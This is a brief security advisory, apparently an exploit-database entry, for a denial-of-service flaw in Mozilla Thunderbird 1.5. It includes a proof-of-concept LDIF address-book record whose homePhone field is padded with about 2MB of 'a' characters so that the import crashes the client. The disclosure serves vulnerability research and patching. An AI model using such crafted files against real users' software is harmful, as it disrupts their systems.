source: http://www.securityfocus.com/bid/16716/info
Mozilla Thunderbird is prone to a remote denial-of-service vulnerability.
The issue presents itself when the application handles a specially crafted address book file.
Mozilla Thunderbird 1.5 is reportedly affected by this issue. Other versions may be vulnerable as well.
POC: create a file.ldif and insert following then import it in address book:
n: cn=Test POC by [email protected],[email protected]
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
objectclass: mozillaAbPersonAlpha
givenName: Test
sn: POC by [email protected]
cn: POC by [email protected]
mozillaNickname: DrFrancky
mail: [email protected]
nsAIMid: DrFrancky POC
modifytimestamp: 0Z
homePhone: aaaaaaaaaaaaaaa[2MB of 'a']
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